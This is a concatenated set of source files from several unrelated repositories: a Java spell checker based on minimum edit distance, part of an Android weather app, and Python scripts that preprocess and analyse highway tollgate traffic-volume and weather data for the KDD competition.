palatable format, trimming out the Pair objects. List<String> realResult = new ArrayList<String>(); for(var p : result) realResult.add(p.b); //done return realResult; } // o--------------------o // | Utility Functions: | // o--------------------o /** * Rates the difference between the given words. The higher the return value, the less similar the words are. A value of 0 means the words are identical. */ private static int rateDif(String word1, String word2){ return minEditDist(word1, word2); } /** * Calculates the minimum edit distance between the two given strings. */ private static int minEditDist(String a, String b){ // based on this youtube video: https://www.youtube.com/watch?v=We3YDTzNXEk // a b c d e f <- string a // 0 1 2 3 4 5 6 // a 1 0 1 2 3 4 5 // z 2 1 1 2 3 4 5 // c 3 2 2 1 2 3 4 // f 4 3 3 2 2 3(3) <- minimum edit distance // ^ // ` - string b int[][] T = new int[a.length() + 1][b.length() + 1]; // a b c d e f // // a // z // c // f for(int i = 0; i < a.length() + 1; ++i) T[i][0] = i; // a b c d e f // 0 1 2 3 4 5 6 // a // z // c // f for(int i = 0; i < b.length() + 1; ++i) T[0][i] = i; // a b c d e f // 0 1 2 3 4 5 6 // a 1 // z 2 // c 3 // f 4 for(int i = 1; i < a.length() + 1; ++i) for(int j = 1; j < b.length() + 1; ++j){ if (a.charAt(i - 1) == b.charAt(j - 1)) T[i][j] = T[i - 1][j - 1]; else T[i][j] = 1 + Math.min(Math.min( T[i - 1][j], T[i][j - 1]), T[i - 1][j - 1] ); } // a b c d e f // 0 1 2 3 4 5 6 // a 1 0 1 2 3 4 5 // z 2 1 1 2 3 4 5 // c 3 2 2 1 2 3 4 // f 4 3 3 2 2 3(3) <- value to return return T[a.length()][b.length()]; } } <file_sep># SpellCheck Spell checking program written in java. This was for csci232 (data structures and algorithms) at Montana State University. The heart of this program is the minimum edit distance algorithm, which is used to find suitable replacements for misspelled words. How to compile: javac SpellCheck.java How to run: java SpellCheck [text file containing correctly spelled words] [text file containing words to check].] ----for example: java SpellCheck words.txt mydoc.txt <file_sep> import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.util.HashMap; import java.util.ArrayList; import java.util.List; import java.util.Scanner; /** * @author <NAME> */ public class SpellCheck { static SpellingChecker checker = new SpellingChecker(); static final String output_path = "mydoc-checked.txt"; static final int MAX_EDIT_DISTANCE = 2; static final int MAX_ALTERNATIVE_NUMBER = 10; private static final Scanner input = new Scanner(System.in); /** * Writes a user prompt to std out, asking the user to pick from a list of possible alternatives to their misspelled word. * @return The alternative chosen by the user. */ static String getUserReplacement(String word, Integer altNumber, Integer maxDifference){ if (altNumber == null) altNumber = MAX_ALTERNATIVE_NUMBER; if (maxDifference == null) maxDifference = MAX_EDIT_DISTANCE; List<String> alternativeChoices = new ArrayList<String>(); alternativeChoices.add(null); //option: something else, lazy way of ignoring 0 and shifting everything up one. // Get the nearest words in the dictionary and add them to the user's choices. alternativeChoices.addAll(checker.findNearest(word.toLowerCase(), altNumber, maxDifference)); // Print the choices for the user to select. System.out.println(word + ": did you mean:"); int i = 1; for(; i < alternativeChoices.size(); ++i) System.out.println(String.format("%-4s", i + ". ") + alternativeChoices.get(i)); System.out.println(String.format("%-4s", i + ". ") + word + " (no change)"); System.out.println(String.format("%-4s", 0 + ". ") + "something else"); // Get the user's choice. int choice = -1; while(choice == -1){ try{ choice = Integer.parseInt(input.nextLine()); } catch(NumberFormatException e){ choice = -1; } if(choice < 0 || choice > alternativeChoices.size()){ choice = -1; System.out.println("Invalid choice"); } } // Apply the user's choice String replacement = word; if (choice == 0){ System.out.print("something else:"); replacement = input.nextLine(); } else if (choice == i){ replacement = word; } else{ replacement = alternativeChoices.get(choice); } // Asthetic line break, deffinitely after all printlns. System.out.println(); // done return replacement; } public static void main(String[] args) throws IOException{ if (args.length != 2){ System.out.println("Wrong number of arguements. Expected 2, recieved " + args.length + "."); System.exit(1); } String words_path = args[0]; String file_path = args[1]; // Read in words file and add each word to the spell checker's dictionary. try(BufferedReader reader = new BufferedReader(new FileReader(words_path))){ String w; while((w = reader.readLine()) != null) checker.addWord(w.toLowerCase()); } // Read the input file to the output file, prompting the user about every detected spelling mistake. try(BufferedReader reader = new BufferedReader(new FileReader(file_path))){ try(BufferedWriter writer = new BufferedWriter(new FileWriter(output_path))){ StringBuilder word = new StringBuilder(); int i; do{ i = reader.read(); char c = i != -1 ? (char)i : '\n'; if (Character.isAlphabetic(c) || c == '\'') word.append(c); else{ if (word.length() != 0){ if (checker.checkSpelling(word.toString().toLowerCase())){ writer.append(word); } else{ String replacement = getUserReplacement(word.toString(), null, null); writer.append(replacement); } word = new StringBuilder(); } if (i != -1) writer.append(c); } } while(i != -1); } } } }
ed9ad57a7167a19c099911aada6a67ef12a0ef4f
[ "Markdown", "Java" ]
3
Java
JesseRussell411/SpellCheck
5ec8ccb59c4f7bfead320cb8f83b5c74a0767f24
5148aa663d443f65517c4357a362624064b41df5
refs/heads/master
<file_sep># Tic Tac Toe Tic Tac Toe app using Java <file_sep>package com.example.tictactoe; public class Keystore { public static final String KEY_PLAYER_ONE = "playerOneName"; public static final String KEY_PLAYER_TWO = "playerTwoName"; }
1b187ba7393a5aa44ff6ec43e832ed8ad9b35bc7
[ "Markdown", "Java" ]
2
Markdown
Ayan-Kumar-Saha/TicTacToe-App
8846c8ef439b57eadfcfacef138fff79736e8467
4bf1b3bec44e786c94d4d1dc8b6be6c8a2316e91
refs/heads/master
<repo_name>Mainimi/Simon-Dice<file_sep>/functions.js function nuevoJuego(){ document.querySelector("#sonidoInicio").play(); $botonInicio.disabled = true; setTimeout(() => { nuevoTurno(); }, 2000); } function nuevoTurno(){ actulizarRonda(); turnoMaquina(); turnoJugador(); } function actulizarRonda(){ document.querySelector("#numeroRonda").textContent++; } function turnoMaquina(){ bloquearEntradaUsuario() actualizarEstado("TURNO DE SIMON"); generarCuadroAleatorio(); resaltarSecuancia(memoriaMaquina); } function turnoJugador(){ memoriaJugador=[]; setTimeout(() => { actualizarEstado("TU TURNO"); habilitarEntradaUsuario(); }, memoriaMaquina.length*1000); } function actualizarEstado(estado){ document.querySelector("#estado").textContent = estado; } function bloquearEntradaUsuario(){ let $cuadros = document.querySelectorAll(".cuadro"); $cuadros.forEach( function(cuadro){ cuadro.onclick = function(){ } } ); } function generarCuadroAleatorio(){ let $cuadros = document.querySelectorAll(".cuadro"); let numeroAleatorio = Math.floor(Math.random()*$cuadros.length); memoriaMaquina.push($cuadros[numeroAleatorio]); } function habilitarEntradaUsuario(){ let $cuadros = document.querySelectorAll(".cuadro"); $cuadros.forEach( function(cuadro,index){ cuadro.onclick = function(e){ memoriaJugador.push(e.target); validar(memoriaJugador); document.querySelector("#sonidoJugador").play(); e.target.style.opacity = 1; e.target.style.border = "black 1.5px solid"; setTimeout(() => { e.target.style.opacity = 0.5; e.target.style.border = "0px"; },300); } } ); } function validar(secuencia){ let numeroDeExitos = 0; secuencia.forEach( function(elementoMemoria,index){ if(elementoMemoria !== memoriaMaquina[index]){ document.querySelector("#sonidoGameover").play(); actualizarEstado("HAS PERDIDO :("); bloquearEntradaUsuario(); guardarPuntaje(memoriaMaquina.length); estadoZero(); } if(elementoMemoria === memoriaMaquina[index]){numeroDeExitos++;} } ); if(numeroDeExitos === memoriaMaquina.length && numeroDeExitos){ document.querySelector("#sonidoSiguienteRonda").play() bloquearEntradaUsuario() setTimeout(() => { nuevoTurno(); }, 1000); } } function estadoZero(){ document.querySelector("#numeroRonda").textContent = 0; memoriaMaquina = []; memoriaJugador = []; setTimeout(() => { actualizarEstado("PULSA COMENZAR A JUGAR ^-^") $botonInicio.disabled = false; }, 2000); } function resaltarSecuancia(secuencia){ secuencia.forEach( function(elementoSecuencia,index){ setTimeout(() => { document.querySelector("#sonidoSimon").play(); elementoSecuencia.style.opacity = 1; elementoSecuencia.style.border = "black 1.5px solid"; }, index*1000); setTimeout(() => { elementoSecuencia.style.opacity = 0.5; elementoSecuencia.style.border = "0px"; }, (index+0.5)*1000); } ); } function guardarPuntaje(puntaje){ let puntajeReal=puntaje-1; document.querySelector("#mensajeNombreUsuario").textContent = `Has obtenido una puntuacion de ${puntajeReal}, cual es tu nombre?`; document.querySelector("#nombreUsuario").classList.remove("d-none"); document.querySelector("#botonNombreUsuario").classList.remove("d-none"); document.querySelector("#botonNombreUsuario").onclick = function(){ const $panelPuntaje = document.querySelector("#mensajeNombreUsuario"); const $nombresJugadores = document.querySelectorAll(".h5"); const $nombreUsuario = document.querySelector("#nombreUsuario").value; const $puntajes = document.querySelectorAll(".puntajes"); for(i=0;i<$puntajes.length;i++){ if(puntajeReal >= Number($puntajes[i].textContent)){ $nombresJugadores[i].textContent = `${i+1} ~ ${$nombreUsuario} : `; $puntajes[i].textContent = puntajeReal; document.querySelector("#nombreUsuario").classList.add("d-none"); document.querySelector("#botonNombreUsuario").classList.add("d-none"); $panelPuntaje.textContent = "TERMINA TU PARTIDA PARA PODER REGISTRARLA"; break; } } } } <file_sep>/README.md # <NAME> Juego web para praticar conocimientos en programacion basicos! # Instalacion npm install<file_sep>/index.js let memoriaMaquina = []; let memoriaJugador = []; let numeroDeRonda = 0; $botonInicio = document.querySelector("#boton-inicio"); $botonInicio.onclick = nuevoJuego;
ec15f56d187c8056791af58a0297aa1cc8689bac
[ "JavaScript", "Markdown" ]
3
JavaScript
Mainimi/Simon-Dice
7ed63cda7c122154fa32ab60dc590eeacfa51de6
b0b010012f97d9606208bfb3fdf3f456007686b4
refs/heads/master
<repo_name>Aravind-Sreenivas/Virtual_piano_using_Opencv_Rpi<file_sep>/Virtual_Piano_opencv.py #OpenCv test # import the necessary packages from picamera.array import PiRGBArray from picamera import PiCamera import numpy as np import time import cv2 import pygame def segment(image): #converting color image to grayscale gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) ##Creating a mask to return the pixels of the detection mask_black = cv2.inRange(gray_image, 0, 25) print(mask_black.shape) #finding Contours _,contours,hierarchy = cv2.findContours(mask_black, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) print("contour length",len(contours)) if len(contours) > 0: # Find the index of the largest contour areas = [cv2.contourArea(c) for c in contours] max_index = np.argmax(areas) cnt=contours[max_index] #Drawing bounding box x,y,w,h = cv2.boundingRect(cnt) cv2.rectangle(mask_black,(x,y),(x+w,y+h),(255),2) pygame.mixer.init()#Initilazing Audio player #Finding the segment imshape = image.shape if (x < imshape[1]//7): cv2.putText(image,"Sa", (0+15,imshape[0]//2),cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3) # show the frame and playing audio cv2.imshow("Frame", image) cv2.waitKey(1) pygame.mixer.music.load("SA.wav") pygame.mixer.music.play() while pygame.mixer.music.get_busy() == True: continue elif(x > imshape[1]//7 and x < (imshape[1]*2)//7): cv2.putText(image,"Re", (imshape[1]//7+15,imshape[0]//2),cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3) cv2.imshow("Frame", image) cv2.waitKey(1) pygame.mixer.music.load("RE.wav") pygame.mixer.music.play() while pygame.mixer.music.get_busy() == True: continue elif(x > (imshape[1]*2)//7 and x < (imshape[1]*3)//7): cv2.putText(image,"Ga", ((imshape[1]*2)//7+15,imshape[0]//2),cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3) cv2.imshow("Frame", image) cv2.waitKey(1) pygame.mixer.music.load("GA.wav") pygame.mixer.music.play() while pygame.mixer.music.get_busy() == True: continue elif(x > (imshape[1]*3)//7 and x < (imshape[1]*4)//7): cv2.putText(image,"Ma", ((imshape[1]*3)//7+15,imshape[0]//2),cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3) cv2.imshow("Frame", image) cv2.waitKey(1) pygame.mixer.music.load("MA.wav") pygame.mixer.music.play() while pygame.mixer.music.get_busy() == True: continue elif(x > (imshape[1]*4)//7 and x < (imshape[1]*5)//7): cv2.putText(image,"Pa", ((imshape[1]*4)//7+15,imshape[0]//2),cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3) cv2.imshow("Frame", image) cv2.waitKey(1) pygame.mixer.music.load("PA.wav") pygame.mixer.music.play() while pygame.mixer.music.get_busy() == True: continue elif(x > (imshape[1]*5)//7 and x < (imshape[1]*6)//7): cv2.putText(image,"Dha", ((imshape[1]*5)//7+10,imshape[0]//2),cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3) cv2.imshow("Frame", image) cv2.waitKey(1) pygame.mixer.music.load("DHA.wav") pygame.mixer.music.play() while pygame.mixer.music.get_busy() == True: continue elif(x > (imshape[1]*6)//7 and x < imshape[1]): cv2.putText(image,"Ni", ((imshape[1]*6)//7+15,imshape[0]//2),cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 3) cv2.imshow("Frame", image) cv2.waitKey(1) pygame.mixer.music.load("NI.wav") pygame.mixer.music.play() while pygame.mixer.music.get_busy() == True: continue return mask_black # initialize the camera and grab a reference to the raw camera capture camera = PiCamera() camera.resolution = (656, 304) camera.framerate = 32 rawCapture = PiRGBArray(camera, size=(656, 304)) # allow the camera to warmup time.sleep(0.1) # capture frames from the camera for frame in camera.capture_continuous(rawCapture, format="bgr", use_video_port=True): # grab the raw NumPy array representing the image, then initialize the timestamp # and occupied/unoccupied text image = frame.array #Virtually dividing the farme into 7 color = [0,255,0] thickness = 3 imshape = image.shape cv2.line(image,(imshape[1]//7,0),(imshape[1]//7,imshape[0]),color,thickness) cv2.line(image,(((imshape[1])*2)//7,0),(((imshape[1])*2)//7,imshape[0]),color,thickness) cv2.line(image,(((imshape[1])*3)//7,0),(((imshape[1])*3)//7,imshape[0]),color,thickness) cv2.line(image,(((imshape[1])*4)//7,0),(((imshape[1])*4)//7,imshape[0]),color,thickness) cv2.line(image,(((imshape[1])*5)//7,0),(((imshape[1])*5)//7,imshape[0]),color,thickness) cv2.line(image,(((imshape[1])*6)//7,0),(((imshape[1])*6)//7,imshape[0]),color,thickness) #calling segmentation function seg_image = segment(image) #cv2.imshow("Segmentation", seg_image) # clear the stream in preparation for the next frame rawCapture.truncate(0) # if the `q` key was pressed, break from the loop if cv2.waitKey(1)&0xFF==ord('q'): cv2.destroyWindow("Frame") cv2.destroyWindow("Segmentation") break <file_sep>/README.md # Virtual_piano_using_opencv_Rpi Pianos are large and heavy instruments so they can't be carried out everywhere. So I'm presenting a Virtual Piano(can be carried easily) which will detect fingers motions in real time with the help of raspberry pi and an attached Pi_camera. Corresponding to detected fingers it will fetch the tone from the database and simulate through speaker
00c88ffe26f6f7763298cdecc45c5aaca4272422
[ "Markdown", "Python" ]
2
Python
Aravind-Sreenivas/Virtual_piano_using_Opencv_Rpi
f2294fb2e3ee29900b395911f36a947b32734655
da41182a9224279c8b387fe55188b4ca683782b6
refs/heads/master
<file_sep># Express JS & ES5 generator for Atmo An express js generator for [Atmo](https://github.com/Raathigesh/Atmo). It generates the code in ES5. This generator comes pre-installed with [Atmo](https://github.com/Raathigesh/Atmo). > ##### Package Name - **`atmo-gen-expressjs-es5`** ## How to install it? Generators should be installed from the Atmo UI. Enter '`atmo-gen-expressjs-es5`' in the `Generate Project` dropdown input box in Atmo UI and hit enter to install this generator. ## Atmo? What? [Atmo](https://github.com/Raathigesh/Atmo) is a feature rich tool for mocking various server side endpoints. ## Supported features - Code generation for Http endpoints - Code generation for Socket endpoints - Code generation for Proxy endpoints ## License MIT © [Raathigeshan](https://twitter.com/Raathigeshan) <file_sep>var fs = require('fs'); var Mustache = require('mustache'); var path = require('path'); var projectDirectory = path.join(process.cwd(), 'project'); /** * Generates the project files */ function generate(spec) { createProjectDirectory(); spec = addHttpEndpointNames(spec); spec = addSocketEndpointFlag(spec); spec = addSocketEmitTypeFlag(spec); spec = isProxyEndpointAvailable(spec); writeFileSync('server.mustache', spec, 'server.js'); writeFileSync('package.mustache', spec, 'package.json'); } /** * Creates the output project directory */ function createProjectDirectory(content) { if (!fs.existsSync(projectDirectory)){ fs.mkdirSync(projectDirectory); } } /** * Makes the http method names to express friendly name */ function addHttpEndpointNames(spec) { for(var i = 0; i < spec.endpoints.length; i++) { var endpoint = spec.endpoints[i]; if (endpoint.response.contentType.contentType.toLowerCase() === 'javascript') { endpoint.response.contentType.contentType = 'application/json'; endpoint.response.contentType.eval = true; } else { endpoint.response.content = endpoint.response.content.replace(/(\r\n|\n|\r)/gm,""); } endpoint.httpMethod = endpoint.method.toLowerCase(); } return spec; } /** * Add an additional flag to spec indicating weather * socket endpoints are available or not */ function addSocketEndpointFlag(spec) { if (spec.socketEndpoints.length > 0) { spec.isSocketEndpointAvailable = true; } return spec; } /** * Adds flags depending on the socket emit type */ function addSocketEmitTypeFlag(spec) { for(var i = 0; i < spec.socketEndpoints.length; i++) { var endpoint = spec.socketEndpoints[i]; endpoint.isEmitSelf = endpoint.emitType === "self"; endpoint.isEmitAll = endpoint.emitType === "all"; endpoint.isEmitBroadcast = endpoint.emitType === "broadcast"; endpoint.payload = endpoint.payload.replace(/(\r\n|\n|\r)/gm,""); } return spec; } /** * Adds a flag denoting weather any proxy endpoint is available in the spec */ function isProxyEndpointAvailable(spec) { if (spec.proxyEndpoints.length > 0) { spec.isProxyEndpoints = true; } return spec; } /** * Writes the file to the output folder */ function writeFileSync(templateName, templateOption, filename) { var templateString = fs.readFileSync(path.join(__dirname, '/templates/' + templateName), 'utf8'); fs.writeFileSync(path.join(projectDirectory, filename), Mustache.render(templateString, templateOption)); } module.exports = generate;
65c35e8cd038b8bc9a166201dd50f4d3c0f11192
[ "Markdown", "JavaScript" ]
2
Markdown
Raathigesh/AtmoExpressES5Generator
e74b63811675c9a033e02f58604f270fac388dde
29879af9614277de4342f61366d98d76d3d78d68
refs/heads/master
<repo_name>kimmouichau/angular-seed<file_sep>/app/filters.js angular.module('priceFilters', []).filter('simpledatefilter', function() { return function(input) { "formatteddate"; } }<file_sep>/app/view1/priceService.js /** * Created by <NAME> on 31-Dec-15. */
4fa06e31c96ac86f6a7580761a12b584917127e0
[ "JavaScript" ]
2
JavaScript
kimmouichau/angular-seed
4c21bfb74199db3266e55c3b15c0341f19dd9824
1db0aef9f1fcc223785325fc5a01e654242362af
refs/heads/master
<file_sep>package com.example.materialtest; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.preference.PreferenceManager; public class FragmentActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_fragment); ActivityCollector.addActivity(this); // 将正在创建的活动添加到活动管理器中 // 从SharedPreferences文件中读取缓存数据,如果不为null说明之前已经请求过天气数据了, // 那么就没有必要让用户再次选择城市,而是直接跳转WeatherDataActivity。 SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this); if (prefs.getString("weather", null) != null){ Intent intent = new Intent(this, WeatherDataActivity.class); startActivity(intent); finish(); } } @Override protected void onDestroy() { super.onDestroy(); ActivityCollector.removeActivity(this); } }
fa08fb83a782e7a6d1dcac6c9910c9067e5075a2
[ "Java" ]
1
Java
18755009786/ceshi
f274ef477e70d4ca21149a03d452ff6caa128c55
29a53519ab09998088b5e0ca78be808ebd63f73e
refs/heads/master
<file_sep># rewrite volume info pretreat file # save all volume info into a good matrix import numpy as np import pandas as pd from datetime import datetime,timedelta from matplotlib import pyplot import seaborn import statsmodels.api as sm from sklearn.model_selection import KFold # step 1 : change table 6 rural data into 20 minute time window and calculate them by vehicle model # input: table 6 output: matrix 2088 * 40 (8 vehicle models and each 5 tollgate) ######################################################################################################### print 'step1 : change table 6 into matrix' index = pd.date_range('19/9/2016', periods=(4*7+1)*24*3, freq='20T') print index info = pd.read_csv('input/volume(table 6)_training.csv') vehicle_models = info['vehicle_model'].unique() print vehicle_models tollgate_id = info['tollgate_id'].unique() volume_info = np.zeros(((4*7+1)*24*3,len(vehicle_models)*5),dtype=int) print volume_info.shape start = '2016-09-19 00:00:00' FMT = "%Y-%m-%d %H:%M:%S" start = datetime.strptime(start, FMT) tollgate_dict = {(1,0):0,(1,1):1,(2,0):2,(3,0):3,(3,1):4} # read line by line and hash table into relative matrix fr = open('input/volume(table 6)_training.csv', 'r') fr.readline() txt = fr.readlines() # skip the header fr.close() for str_line in txt: str_line = str_line.replace('"', '').split(',') tollgate_id = str_line[1] direction = str_line[2] vehile_model = str_line[3] pass_time = str_line[0] pass_time = datetime.strptime(pass_time, "%Y-%m-%d %H:%M:%S") # calculating time delta delta = pass_time - start day_diff = delta.days hour_diff = delta.seconds//3600 minute_diff = (delta.seconds % 3600) // 60 total_diff_minute = day_diff*24*60 + hour_diff*60 + minute_diff row_num = total_diff_minute // 20 # calculating column num column_num = int(vehile_model)*5 + tollgate_dict[(int(tollgate_id),int(direction))] volume_info[row_num,column_num]+=1 np.savetxt('volume_files/volume_training_set.csv',volume_info,fmt='%d') print volume_info.shape # pyplot.figure() # pyplot.plot(volume_info) # pyplot.show() # step2: delete national day 9 days # separate total volume into 3 part (model1 , model2 , model extra) ####################################################################################### print 'step 2 : delete national days ' model_1_volume = volume_info[:,5:10] model_2_volume = volume_info[:,10:15] model_extra_volume = volume_info[:,0:5] + volume_info[:,15:20] + volume_info[:,20:25] + volume_info[:,25:30] + volume_info[:,30:35] + volume_info[:,35:] model_1_volume = np.vstack((model_1_volume[:792,:],model_1_volume[-648:,:])) model_2_volume = np.vstack((model_2_volume[:792,:],model_2_volume[-648:,:])) model_extra_volume = np.vstack((model_extra_volume[:792,:],model_extra_volume[-648:,:])) print model_1_volume.shape print model_2_volume.shape print model_extra_volume.shape np.savetxt('volume_files/volume_model1_trainset.csv',model_1_volume,fmt='%d') np.savetxt('volume_files/volume_model2_trainset.csv',model_2_volume,fmt='%d') np.savetxt('volume_files/volume_modelextra_trainset.csv',model_extra_volume,fmt='%d') for i in range(5): pyplot.figure() pyplot.plot(model_1_volume[:,i]) pyplot.plot(model_2_volume[:,i]) pyplot.plot(model_extra_volume[:,i]) pyplot.show() # step3: prepare test set 1 # save testset1 into 3 (7 * 24 *3, 5) matrix ################################################################################# print 'step 3 prepare test set 1 into 3 matrix ' volume_test_1 = np.zeros((7*24*3,len(vehicle_models)*5),dtype=int) print volume_test_1.shape start = '2016-10-18 00:00:00' FMT = "%Y-%m-%d %H:%M:%S" start = datetime.strptime(start, FMT) fr = open('input/volume(table 6)_test1.csv', 'r') fr.readline() txt = fr.readlines() # skip the header fr.close() for str_line in txt: str_line = str_line.replace('"', '').split(',') tollgate_id = str_line[1] direction = str_line[2] vehile_model = str_line[3] pass_time = str_line[0] pass_time = datetime.strptime(pass_time, "%Y-%m-%d %H:%M:%S") # calculating time delta # print str_line delta = pass_time - start day_diff = delta.days hour_diff = delta.seconds//3600 minute_diff = (delta.seconds % 3600) // 60 total_diff_minute = day_diff*24*60 + hour_diff*60 + minute_diff row_num = total_diff_minute // 20 # calculating column num column_num = int(vehile_model)*5 + tollgate_dict[(int(tollgate_id),int(direction))] volume_test_1[row_num,column_num]+=1 model_1_volume_testset_1 = volume_test_1[:,5:10] model_2_volume_testset_1 = volume_test_1[:,10:15] model_extra_volume_testset_1 = volume_test_1[:,0:5] + volume_test_1[:,15:20] + volume_test_1[:,20:25] + volume_test_1[:,25:30] + volume_test_1[:,30:35] + volume_test_1[:,35:] np.savetxt('volume_files/volume_model1_test_set_1.csv',model_1_volume_testset_1,fmt='%d') np.savetxt('volume_files/volume_model2_test_set_1.csv',model_2_volume_testset_1,fmt='%d') np.savetxt('volume_files/volume_modelextra_test_set_1.csv',model_extra_volume_testset_1,fmt='%d') print model_1_volume_testset_1.shape print model_2_volume_testset_1.shape print model_extra_volume_testset_1.shape # pyplot.figure() # pyplot.plot(volume_test_1) # pyplot.show() # step 4: create n fold fies: # change 20 days data into 5 fold train and CV set and also test set # generating train test files ##################################################################### days = range(20) relative_weed = [2,2,3,4,5,6,7,1,2,3,4,2,2,3,3,4,5,6,7,1] kf = KFold(n_splits=5,random_state = 5) fold = 1 for train_index,CV_index in kf.split(days): print 'fold:' +str(fold) print train_index,CV_index file_path = 'volume_files/fold'+str(fold)+'/' fold = fold + 1 f = open(file_path+'train_CV_set.txt','w') f.write(str(train_index)) f.write(str(CV_index)) f.close() print 'save model 1' # save train total set train_set_fold = np.empty((0,5),dtype=int) for i in train_index: train_set_fold = np.vstack((train_set_fold,model_1_volume[72*i:72*(i+1),:])) print train_set_fold.shape np.savetxt(file_path+'model_1_trainset.csv',train_set_fold,'%d') # save CV total set CV_set_fold = np.empty((0,5),dtype=int) for i in CV_index: CV_set_fold = np.vstack((CV_set_fold,model_1_volume[72*i:72*(i+1),:])) print CV_set_fold.shape np.savetxt(file_path+'model_1_CV_set.csv',CV_set_fold,'%d') # save test set test_set_fold = model_1_volume_testset_1 print test_set_fold.shape np.savetxt(file_path+'model_1_testset.csv',test_set_fold,'%d') print 'save model 2' # save train total set train_set_fold = np.empty((0,5),dtype=int) for i in train_index: train_set_fold = np.vstack((train_set_fold,model_2_volume[72*i:72*(i+1),:])) print train_set_fold.shape np.savetxt(file_path+'model_2_trainset.csv',train_set_fold,'%d') # save CV total set CV_set_fold = np.empty((0,5),dtype=int) for i in CV_index: CV_set_fold = np.vstack((CV_set_fold,model_2_volume[72*i:72*(i+1),:])) print CV_set_fold.shape np.savetxt(file_path+'model_2_CV_set.csv',CV_set_fold,'%d') # save test set test_set_fold = model_2_volume_testset_1 print test_set_fold.shape np.savetxt(file_path+'model_2_testset.csv',test_set_fold,'%d') print 'save model extra' # save train total set train_set_fold = np.empty((0,5),dtype=int) for i in train_index: train_set_fold = np.vstack((train_set_fold,model_extra_volume[72*i:72*(i+1),:])) print train_set_fold.shape np.savetxt(file_path+'model_extra_trainset.csv',train_set_fold,'%d') # save CV total set CV_set_fold = np.empty((0,5),dtype=int) for i in CV_index: CV_set_fold = np.vstack((CV_set_fold,model_extra_volume[72*i:72*(i+1),:])) print CV_set_fold.shape np.savetxt(file_path+'model_extra_CV_set.csv',CV_set_fold,'%d') # save test set test_set_fold = model_extra_volume_testset_1 print test_set_fold.shape np.savetxt(file_path+'model_extra_testset.csv',test_set_fold,'%d') <file_sep>import numpy as np import pandas as pd model1=np.loadtxt('volume_files/volume_model1_trainset.csv') model2=np.loadtxt('volume_files/volume_model2_trainset.csv') model3=np.loadtxt('volume_files/volume_modelextra_trainset.csv') relative_weekday = [2,2,3,4,5,6,7,1,2,3,4,2,2,3,3,4,5,6,7,1] for i in range(20): sum_model=sum(model1[i*72:(i+1)*72]+model2[i*72:(i+1)*72]+model3[i*72:(i+1)*72]) model1_prop= sum(model1[i*72:(i+1)*72])/sum_model model2_prop = sum(model2[i * 72:(i + 1) * 72] )/ sum_model model3_prop = sum(model3[i * 72:(i + 1) * 72] )/ sum_model print i,"st day model1 prop: ", model1_prop print " model2 prop: ", model2_prop print " model3 prop: ", model3_prop print <file_sep>import numpy as np import statsmodels.api as sm import pandas as pd import matplotlib.pyplot as plt import warnings from scipy.stats.stats import pearsonr warnings.filterwarnings("ignore") weather=pd.read_csv('input/weather (table 7)_training.csv') weather=weather.drop(['pressure','sea_pressure','wind_direction','wind_speed','rel_humidity'],axis=1) #fill in 10.10 data weather_1010=weather[718:726] for i in range(0,8): weather_1010.iloc[i,0]='2016-10-10' weather_1010.iloc[i,1]=3*i weather_1010.iloc[i,2]=(weather.iloc[718+3*i,2]+weather.iloc[726+3*i,2])/2 weather_1010.iloc[i,3] = (weather.iloc[725, 3] + weather.iloc[726, 3]) / 2 weather.iloc[647,0]='2016-09-29' weather.iloc[647,1]=21 weather=np.vstack((weather[560:648],weather[718:726],weather_1010,weather[726:]) ) #weather[560:648] : 9.19-9.29 weather[718:] #10.09-10.17 print weather.shape #20 days' weather info in every 3 hours #convert the weather information in every 20 mins weather_min= [[0 for col in range(4)] for row in range(1)] for i in range(weather.shape[0]): k=0 while(k<9): weather_min=np.row_stack((weather_min,weather[i])) k+=1 weather_min=weather_min[1:] # explore the relation between volume and weather for i in ['1','2','extra']: #model plt.figure() model=np.loadtxt('volume_files/volume_model'+i+'_trainset.csv',dtype=int) for j in range(5): #tollgate and direction model_j=model[:,j] #1d array tollgate 10 plt.plot(model_j) plt.plot(weather_min[:,2]) #temperature plt.plot(weather_min[:,3]+5) #rain plt.legend(['volume','temperature','rain']) plt.title('model'+i+' tollgate'+str(j)) plt.show() for i in ['1','2','extra']: #model model = np.loadtxt('volume_files/volume_model' + i + '_trainset.csv', dtype=int) for j in range(5): model_j = model[:, j] plt.scatter(weather_min[:,2],model_j,c='b') plt.scatter(weather_min[:,3],model_j,c='r') plt.legend(['temperature', 'rain']) plt.title('model'+i+' tollgate'+str(j)) plt.show() print "correlation between volume and temperature for model ",i,"at tollgate ",j,": " print pearsonr(weather_min[:,2],model_j) print "correlation between volume and rain for model ", i, "at tollgate ", j, ": " print pearsonr(weather_min[:,3],model_j) print # if(pearsonr(weather_min[:,3],model_j)[1]>0.05): # print"**************** when p>0.05 rain *****************" # print "correlation between volume and rain for model ", i, "at tollgate ", j, ": " # print pearsonr(weather_min[:, 3], model_j) <file_sep># kaggle-KDD auther: LIU_yingqi & <NAME> Highway tollgates traffic flow (travel time and traffic volume prediction) tianchi_KDD <file_sep>import pandas as pd import numpy as np from matplotlib import pyplot import seaborn volume1=np.loadtxt('volume_files/volume_model1_trainset.csv') volume2=np.loadtxt('volume_files/volume_model2_trainset.csv') volume3=np.loadtxt('volume_files/volume_modelextra_trainset.csv') submission_table = pd.read_csv('input/submission_sample_volume.csv') prediction=np.zeros((7*72,5),dtype=float) relative_weekday = [2,2,3,4,5,6,7,1,2,3,4,2,2,3,3,4,5,6,7,1] predict_weekday=[2,3,4,5,6,7,1] def all_indices(value, qlist): indices = [] idx = -1 while True: try: idx = qlist.index(value, idx+1) indices.append(idx) except ValueError: break return indices # i day correspond index= [i*72:(i+1)*72] volume = volume1 + volume2 + volume3 